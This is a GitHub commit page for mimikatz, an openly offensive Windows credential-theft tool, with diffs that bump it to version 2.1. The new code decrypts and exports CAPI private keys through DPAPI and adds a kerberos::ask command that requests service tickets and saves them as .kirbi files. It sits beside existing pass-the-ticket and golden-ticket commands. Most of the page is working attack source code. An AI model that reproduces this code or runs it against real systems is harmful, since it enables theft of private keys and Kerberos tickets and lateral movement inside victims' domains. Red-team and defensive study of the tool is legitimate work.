Skip to content

Commit

Permalink
Crypto & Kerberos enhancements
Browse files Browse the repository at this point in the history
- [fix] dpapi::capi now deals with AT_SIGNATURE keys
- [fix] sekurlsa::kerberos / kerberos:: encryption type are now signed
- [new] kerberos::ask to ask / save TGS from current TGT
- [new] crypto::system to describe/to export Windows System Certificate (cert, crl, ctl, keyid)
- [internal] smaller banner for smaller displays
- [internal] Copyrights for 2016
- [internal] kull_m_file can deal with environment-variable strings in paths
- [internal] kull_m_crypto new types for CERT_PROP_*_ID
  • Loading branch information
gentilkiwi committed Jan 12, 2016
1 parent fbb32cd commit 34d1d0f
Show file tree
Hide file tree
Showing 21 changed files with 580 additions and 97 deletions.
5 changes: 3 additions & 2 deletions inc/globals.h
Original file line number Diff line number Diff line change
Expand Up @@ -27,9 +27,10 @@
#endif

#define MIMIKATZ L"mimikatz"
#define MIMIKATZ_VERSION L"2.0 alpha"
#define MIMIKATZ_VERSION L"2.1"
#define MIMIKATZ_CODENAME L"A La Vie, A L\'Amour"
#define MIMIKATZ_FULL MIMIKATZ L" " MIMIKATZ_VERSION L" (" MIMIKATZ_ARCH L") release \"" MIMIKATZ_CODENAME L"\" (" TEXT(__DATE__) L" " TEXT(__TIME__) L")"
#define MIMIKATZ_FULL MIMIKATZ L" " MIMIKATZ_VERSION L" (" MIMIKATZ_ARCH L") built on " TEXT(__DATE__) L" " TEXT(__TIME__)
#define MIMIKATZ_SECOND L"\"" MIMIKATZ_CODENAME L"\""
#define MIMIKATZ_SPECIAL L" "
#define MIMIKATZ_DEFAULT_LOG MIMIKATZ L".log"
#define MIMIKATZ_DRIVER L"mimidrv"
Expand Down
Binary file modified mimidrv/mimidrv.rc
Binary file not shown.
4 changes: 2 additions & 2 deletions mimikatz/mimikatz.c
Original file line number Diff line number Diff line change
Expand Up @@ -39,11 +39,11 @@ int wmain(int argc, wchar_t * argv[])
#endif
kprintf(L"\n"
L" .#####. " MIMIKATZ_FULL L"\n"
L" .## ^ ##. \n"
L" .## ^ ##. " MIMIKATZ_SECOND L"\n"
L" ## / \\ ## /* * *\n"
L" ## \\ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )\n"
L" '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)\n"
L" '#####' " MIMIKATZ_SPECIAL L" with %2u modules * * */\n\n", ARRAYSIZE(mimikatz_modules));
L" '#####' " MIMIKATZ_SPECIAL L" with %2u modules * * */\n", ARRAYSIZE(mimikatz_modules));

mimikatz_initOrClean(TRUE);
for(i = MIMIKATZ_AUTO_COMMAND_START ; (i < argc) && (status != STATUS_FATAL_APP_EXIT) ; i++)
Expand Down
10 changes: 5 additions & 5 deletions mimikatz/mimikatz.rc
Original file line number Diff line number Diff line change
Expand Up @@ -3,8 +3,8 @@ LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US

VS_VERSION_INFO VERSIONINFO

FILEVERSION 2,0,0,0
PRODUCTVERSION 2,0,0,0
FILEVERSION 2,1,0,0
PRODUCTVERSION 2,1,0,0
FILEFLAGS VS_FF_PRERELEASE|VS_FF_SPECIALBUILD|VS_FF_PRIVATEBUILD
FILEFLAGSMASK VS_FFI_FILEFLAGSMASK
FILEOS VOS_NT
Expand All @@ -16,12 +16,12 @@ BLOCK "StringFileInfo"
BLOCK "040904b0"
BEGIN
VALUE "ProductName", "mimikatz"
VALUE "ProductVersion", "2.0.0.0"
VALUE "ProductVersion", "2.1.0.0"
VALUE "CompanyName", "gentilkiwi (Benjamin DELPY)"
VALUE "FileDescription", "mimikatz for Windows"
VALUE "FileVersion", "2.0.0.0"
VALUE "FileVersion", "2.1.0.0"
VALUE "InternalName", "mimikatz"
VALUE "LegalCopyright", "Copyright (c) 2007 - 2015 gentilkiwi (Benjamin DELPY)"
VALUE "LegalCopyright", "Copyright (c) 2007 - 2016 gentilkiwi (Benjamin DELPY)"
VALUE "OriginalFilename", "mimikatz.exe"
VALUE "PrivateBuild", "Build with love for POC only"
VALUE "SpecialBuild", "kiwi flavor !"
Expand Down
29 changes: 24 additions & 5 deletions mimikatz/modules/dpapi/packages/kuhl_m_dpapi_keys.c
Original file line number Diff line number Diff line change
Expand Up @@ -22,20 +22,39 @@ NTSTATUS kuhl_m_dpapi_keys_capi(int argc, wchar_t * argv[])
{
kull_m_key_capi_descr(0, capiKey);

if(kuhl_m_dpapi_unprotect_raw_or_blob(capiKey->pExportFlag, capiKey->dwExportFlagLen, NULL, argc, argv, KIWI_DPAPI_ENTROPY_CAPI_KEY_EXPORTFLAGS, sizeof(KIWI_DPAPI_ENTROPY_CAPI_KEY_EXPORTFLAGS), &out, &outLen, L"Decrypting Export flags:\n"))
if(kuhl_m_dpapi_unprotect_raw_or_blob(capiKey->pSiExportFlag, capiKey->dwSiExportFlagLen, NULL, argc, argv, KIWI_DPAPI_ENTROPY_CAPI_KEY_EXPORTFLAGS, sizeof(KIWI_DPAPI_ENTROPY_CAPI_KEY_EXPORTFLAGS), &out, &outLen, L"Decrypting AT_SIGNATURE Export flags:\n"))
{
kull_m_string_wprintf_hex(out, outLen, 0);kprintf(L"\n");
kull_m_string_wprintf_hex(out, outLen, 0); kprintf(L"\n");
LocalFree(out);
}
if(kuhl_m_dpapi_unprotect_raw_or_blob(capiKey->pSiPrivateKey, capiKey->dwSiPrivateKeyLen, NULL, argc, argv, NULL, 0, &out, &outLen, L"Decrypting AT_SIGNATURE Private Key:\n"))
{
kull_m_string_wprintf_hex(out, outLen, 0); kprintf(L"\n");
if(kull_m_key_capi_decryptedkey_to_raw(out, outLen, &blob, &szBlob))
{
if(name = kull_m_string_qad_ansi_to_unicode(capiKey->pName))
{
kuhl_m_crypto_exportRawKeyToFile(blob, szBlob, FALSE, L"raw_signature", 0, name, TRUE, TRUE);
LocalFree(name);
}
LocalFree(blob);
}
LocalFree(out);
}

if(kuhl_m_dpapi_unprotect_raw_or_blob(capiKey->pPrivateKey, capiKey->dwPrivateKeyLen, NULL, argc, argv, NULL, 0, &out, &outLen, L"Decrypting Private Key:\n"))
if(kuhl_m_dpapi_unprotect_raw_or_blob(capiKey->pExExportFlag, capiKey->dwExExportFlagLen, NULL, argc, argv, KIWI_DPAPI_ENTROPY_CAPI_KEY_EXPORTFLAGS, sizeof(KIWI_DPAPI_ENTROPY_CAPI_KEY_EXPORTFLAGS), &out, &outLen, L"Decrypting AT_EXCHANGE Export flags:\n"))
{
kull_m_string_wprintf_hex(out, outLen, 0);kprintf(L"\n");
kull_m_string_wprintf_hex(out, outLen, 0); kprintf(L"\n");
LocalFree(out);
}
if(kuhl_m_dpapi_unprotect_raw_or_blob(capiKey->pExPrivateKey, capiKey->dwExPrivateKeyLen, NULL, argc, argv, NULL, 0, &out, &outLen, L"Decrypting AT_EXCHANGE Private Key:\n"))
{
kull_m_string_wprintf_hex(out, outLen, 0); kprintf(L"\n");
if(kull_m_key_capi_decryptedkey_to_raw(out, outLen, &blob, &szBlob))
{
if(name = kull_m_string_qad_ansi_to_unicode(capiKey->pName))
{
kuhl_m_crypto_exportRawKeyToFile(blob, szBlob, FALSE, L"raw", 0, name, TRUE, TRUE);
kuhl_m_crypto_exportRawKeyToFile(blob, szBlob, FALSE, L"raw_exchange", 0, name, TRUE, TRUE);
LocalFree(name);
}
LocalFree(blob);
Expand Down
126 changes: 126 additions & 0 deletions mimikatz/modules/kerberos/kuhl_m_kerberos.c
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,7 @@ HANDLE g_hLSA = NULL;
const KUHL_M_C kuhl_m_c_kerberos[] = {
{kuhl_m_kerberos_ptt, L"ptt", L"Pass-the-ticket [NT 6]"},
{kuhl_m_kerberos_list, L"list", L"List ticket(s)"},
{kuhl_m_kerberos_ask, L"ask", L"Ask or get TGS tickets"},
{kuhl_m_kerberos_tgt, L"tgt", L"Retrieve current TGT"},
{kuhl_m_kerberos_purge, L"purge", L"Purge ticket(s)"},
{kuhl_m_kerberos_golden, L"golden", L"Willy Wonka factory"},
Expand Down Expand Up @@ -273,6 +274,7 @@ NTSTATUS kuhl_m_kerberos_list(int argc, wchar_t * argv[])
{
if(kull_m_file_writeData(filename, pKerbRetrieveResponse->Ticket.EncodedTicket, pKerbRetrieveResponse->Ticket.EncodedTicketSize))
kprintf(L"\n * Saved to file : %s", filename);
else PRINT_ERROR_AUTO(L"kull_m_file_writeData");
LocalFree(filename);
}
LsaFreeReturnBuffer(pKerbRetrieveResponse);
Expand All @@ -295,6 +297,109 @@ NTSTATUS kuhl_m_kerberos_list(int argc, wchar_t * argv[])
return STATUS_SUCCESS;
}

NTSTATUS kuhl_m_kerberos_ask(int argc, wchar_t * argv[])
{
NTSTATUS status, packageStatus;
PWCHAR filename = NULL, ticketname = NULL;
PCWCHAR szTarget;
PKERB_RETRIEVE_TKT_REQUEST pKerbRetrieveRequest;
PKERB_RETRIEVE_TKT_RESPONSE pKerbRetrieveResponse;
KIWI_KERBEROS_TICKET ticket = {0};
DWORD szData;
USHORT dwTarget;
BOOL isExport = kull_m_string_args_byName(argc, argv, L"export", NULL, NULL), isTkt = kull_m_string_args_byName(argc, argv, L"tkt", NULL, NULL), isNoCache = kull_m_string_args_byName(argc, argv, L"nocache", NULL, NULL);

if(kull_m_string_args_byName(argc, argv, L"target", &szTarget, NULL))
{
dwTarget = (USHORT) ((wcslen(szTarget) + 1) * sizeof(wchar_t));

szData = sizeof(KERB_RETRIEVE_TKT_REQUEST) + dwTarget;
if(pKerbRetrieveRequest = (PKERB_RETRIEVE_TKT_REQUEST) LocalAlloc(LPTR, szData))
{
pKerbRetrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage;
pKerbRetrieveRequest->CacheOptions = isNoCache ? KERB_RETRIEVE_TICKET_DONT_USE_CACHE : KERB_RETRIEVE_TICKET_DEFAULT;
pKerbRetrieveRequest->TargetName.Length = dwTarget - sizeof(wchar_t);
pKerbRetrieveRequest->TargetName.MaximumLength = dwTarget;
pKerbRetrieveRequest->TargetName.Buffer = (PWSTR) ((PBYTE) pKerbRetrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST));
RtlCopyMemory(pKerbRetrieveRequest->TargetName.Buffer, szTarget, pKerbRetrieveRequest->TargetName.MaximumLength);
kprintf(L"Asking for: %wZ\n", &pKerbRetrieveRequest->TargetName);

status = LsaCallKerberosPackage(pKerbRetrieveRequest, szData, (PVOID *) &pKerbRetrieveResponse, &szData, &packageStatus);
if(NT_SUCCESS(status))
{
if(NT_SUCCESS(packageStatus))
{
ticket.ServiceName = pKerbRetrieveResponse->Ticket.ServiceName;
ticket.DomainName = pKerbRetrieveResponse->Ticket.DomainName;
ticket.TargetName = pKerbRetrieveResponse->Ticket.TargetName;
ticket.TargetDomainName = pKerbRetrieveResponse->Ticket.TargetDomainName;
ticket.ClientName = pKerbRetrieveResponse->Ticket.ClientName;
ticket.AltTargetDomainName = pKerbRetrieveResponse->Ticket.AltTargetDomainName;

ticket.StartTime = *(PFILETIME) &pKerbRetrieveResponse->Ticket.StartTime;
ticket.EndTime = *(PFILETIME) &pKerbRetrieveResponse->Ticket.EndTime;
ticket.RenewUntil = *(PFILETIME) &pKerbRetrieveResponse->Ticket.RenewUntil;

ticket.KeyType = ticket.TicketEncType = pKerbRetrieveResponse->Ticket.SessionKey.KeyType;
ticket.Key.Length = pKerbRetrieveResponse->Ticket.SessionKey.Length;
ticket.Key.Value = pKerbRetrieveResponse->Ticket.SessionKey.Value;

ticket.TicketFlags = pKerbRetrieveResponse->Ticket.TicketFlags;
ticket.Ticket.Length = pKerbRetrieveResponse->Ticket.EncodedTicketSize;
ticket.Ticket.Value = pKerbRetrieveResponse->Ticket.EncodedTicket;

kprintf(L" * Ticket Encryption Type & kvno not representative at screen\n");
if(isNoCache && isExport)
kprintf(L" * NoCache: exported ticket may vary with informations at screen\n");
kuhl_m_kerberos_ticket_display(&ticket, TRUE, FALSE);
kprintf(L"\n");

if(isTkt)
if(ticketname = kuhl_m_kerberos_generateFileName_short(&ticket, L"tkt"))
{
if(kull_m_file_writeData(ticketname, pKerbRetrieveResponse->Ticket.EncodedTicket, pKerbRetrieveResponse->Ticket.EncodedTicketSize))
kprintf(L"\n * TKT to file : %s", ticketname);
else PRINT_ERROR_AUTO(L"kull_m_file_writeData");
LocalFree(ticketname);
}
if(isExport)
filename = kuhl_m_kerberos_generateFileName_short(&ticket, MIMIKATZ_KERBEROS_EXT);

LsaFreeReturnBuffer(pKerbRetrieveResponse);

if(isExport)
{
pKerbRetrieveRequest->CacheOptions |= KERB_RETRIEVE_TICKET_AS_KERB_CRED;
status = LsaCallKerberosPackage(pKerbRetrieveRequest, szData, (PVOID *) &pKerbRetrieveResponse, &szData, &packageStatus);
if(NT_SUCCESS(status))
{
if(NT_SUCCESS(packageStatus))
{
if(kull_m_file_writeData(filename, pKerbRetrieveResponse->Ticket.EncodedTicket, pKerbRetrieveResponse->Ticket.EncodedTicketSize))
kprintf(L"\n * KiRBi to file : %s", filename);
else PRINT_ERROR_AUTO(L"kull_m_file_writeData");
LsaFreeReturnBuffer(pKerbRetrieveResponse);
}
else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbRetrieveEncodedTicketMessage / Package : %08x\n", packageStatus);
}
else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbRetrieveEncodedTicketMessage : %08x\n", status);
}
if(filename)
LocalFree(filename);
}
else if(packageStatus == STATUS_NO_TRUST_SAM_ACCOUNT)
PRINT_ERROR(L"\'%wZ\' Kerberos name not found!\n", &pKerbRetrieveRequest->TargetName);
else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbRetrieveEncodedTicketMessage / Package : %08x\n", packageStatus);
}
else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbRetrieveEncodedTicketMessage : %08x\n", status);

LocalFree(pKerbRetrieveRequest);
}
}
else PRINT_ERROR(L"At least /target argument is required (eg: /target:cifs/server.lab.local)\n");
return STATUS_SUCCESS;
}

wchar_t * kuhl_m_kerberos_generateFileName(const DWORD index, PKERB_TICKET_CACHE_INFO_EX ticket, LPCWSTR ext)
{
wchar_t * buffer;
Expand All @@ -310,6 +415,27 @@ wchar_t * kuhl_m_kerberos_generateFileName(const DWORD index, PKERB_TICKET_CACHE
return buffer;
}

wchar_t * kuhl_m_kerberos_generateFileName_short(PKIWI_KERBEROS_TICKET ticket, LPCWSTR ext)
{
wchar_t * buffer;
size_t charCount = 0x1000;
BOOL isLong = kuhl_m_kerberos_ticket_isLongFilename(ticket);

if(buffer = (wchar_t *) LocalAlloc(LPTR, charCount * sizeof(wchar_t)))
{
if(isLong)
isLong = swprintf_s(buffer, charCount, L"%08x-%wZ@%wZ-%wZ.%s", ticket->TicketFlags, &ticket->ClientName->Names[0], &ticket->ServiceName->Names[0], &ticket->ServiceName->Names[1], ext) > 0;
else
isLong = swprintf_s(buffer, charCount, L"%08x-noname.%s", ticket->TicketFlags, ext) > 0;

if(isLong)
kull_m_file_cleanFilename(buffer);
else
buffer = (wchar_t *) LocalFree(buffer);
}
return buffer;
}

GROUP_MEMBERSHIP defaultGroups[] = {{513, DEFAULT_GROUP_ATTRIBUTES}, {512, DEFAULT_GROUP_ATTRIBUTES}, {520, DEFAULT_GROUP_ATTRIBUTES}, {518, DEFAULT_GROUP_ATTRIBUTES}, {519, DEFAULT_GROUP_ATTRIBUTES},};
NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[])
{
Expand Down
2 changes: 2 additions & 0 deletions mimikatz/modules/kerberos/kuhl_m_kerberos.h
Original file line number Diff line number Diff line change
Expand Up @@ -37,6 +37,7 @@ void kuhl_m_kerberos_ptt_file(PCWCHAR filename);
NTSTATUS kuhl_m_kerberos_ptt_data(PVOID data, DWORD dataSize);
NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_kerberos_list(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_kerberos_ask(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_kerberos_tgt(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_kerberos_purge(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_kerberos_hash(int argc, wchar_t * argv[]);
Expand All @@ -45,5 +46,6 @@ NTSTATUS kuhl_m_kerberos_test(int argc, wchar_t * argv[]);

NTSTATUS kuhl_m_kerberos_hash_data(LONG keyType, PCUNICODE_STRING pString, PCUNICODE_STRING pSalt, DWORD count);
wchar_t * kuhl_m_kerberos_generateFileName(const DWORD index, PKERB_TICKET_CACHE_INFO_EX ticket, LPCWSTR ext);
wchar_t * kuhl_m_kerberos_generateFileName_short(PKIWI_KERBEROS_TICKET ticket, LPCWSTR ext);
struct _DIRTY_ASN1_SEQUENCE_EASY * kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR domainname, LPCWSTR LogonDomainName, LPCWSTR servicename, LPCWSTR targetname, PKUHL_M_KERBEROS_LIFETIME_DATA lifetime, PISID sid, LPCBYTE key, DWORD keySize, DWORD keyType, DWORD userid, PGROUP_MEMBERSHIP groups, DWORD cbGroups, PKERB_SID_AND_ATTRIBUTES sids, DWORD cbSids, DWORD rodc);
NTSTATUS kuhl_m_kerberos_encrypt(ULONG eType, ULONG keyUsage, LPCVOID key, DWORD keySize, LPCVOID data, DWORD dataSize, LPVOID *output, DWORD *outputSize, BOOL encrypt);
4 changes: 2 additions & 2 deletions mimikatz/modules/kerberos/kuhl_m_kerberos_ticket.h
Original file line number Diff line number Diff line change
Expand Up @@ -90,11 +90,11 @@ typedef struct _KIWI_KERBEROS_TICKET {
FILETIME EndTime;
FILETIME RenewUntil;

ULONG KeyType;
LONG KeyType;
KIWI_KERBEROS_BUFFER Key;

ULONG TicketFlags;
ULONG TicketEncType;
LONG TicketEncType;
ULONG TicketKvno;
KIWI_KERBEROS_BUFFER Ticket;
} KIWI_KERBEROS_TICKET, *PKIWI_KERBEROS_TICKET;
Expand Down
Loading

0 comments on commit 34d1d0f

Please sign in to comment.